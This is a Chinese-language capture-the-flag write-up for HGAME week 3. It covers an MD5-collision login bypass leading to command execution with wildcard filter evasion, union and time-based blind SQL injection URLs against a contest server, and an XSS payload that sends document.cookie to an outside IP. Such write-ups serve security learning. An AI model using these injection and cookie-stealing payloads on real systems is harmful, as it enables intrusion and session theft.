HGAME_WEEK3_WP

1.神奇的MD5

首先发现.login.php.swp备份文件泄露，得知大致思路是构建3个值不相同而md5后相同的东西，这里我参考了这篇文章

http://natmchugh.blogspot.com/2014/11/three-way-md5-collision.html

文章介绍了一种算法构造出三张了内容完全不相同然而md5值一致的图片。由此通过curl提交。提交后的网页是一个命令执行框，可以在根目录下发现flag，但通过php源码可以发现flag被过滤。这里我采用的是占位符?

即最后提交'ls ../../f???'即可。

2.sqli-2

库名--1 (union select table_name from information_schema.tables where table_schema =database() limit 0,1)#;

表名---1 union select column_name from information_schema.columns where table_name=''#

获取flag ---1 union select '' from ''

//这里写的脚本找不到了，懒得在写一遍(口胡)

3.sqli-3

盲注，这里我用的是纯手工爆破。。。

首先是确定表名

```
http://118.89.111.179:3001?code=%s&id=1 and (if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1)))=49,sleep(2.5),null))%code
```

得出表名为F11111114G

其次确定列名

```
http://118.89.111.179:3001?code=%s&id=1 and (if((ascii(substr((select column_name from information_schema.columns where table_name=\'f11111114G\' limit 0,1),1,1)))=71,sleep(2.5),null))
```

得出列名为fL4444Ag

最后爆破flag

```
http://118.89.111.179:3001?code=%s&id=2 and if((ascii(substr((select fL4444Ag from
F11111114G),37,1)))=103,sleep(3),null)#
```

得到hgame{sqli_1s_s0._s0_s0_s0_interesting}

最后个人观点，其实在有英文单词的情况下，手工注入并没有想象中那么复杂，看到两个字母基本可以反应过来整个单词。当然flag如果被rsa的话就另当别论了

Baby-xss

很迷，就试了一次，结果就跳转了

```
</textarea><svg/onload=window.location.href='http://47.107.239.93?
cookie='+document.cookie;>
```

最后在控制台浏览访问日志即可得到flag。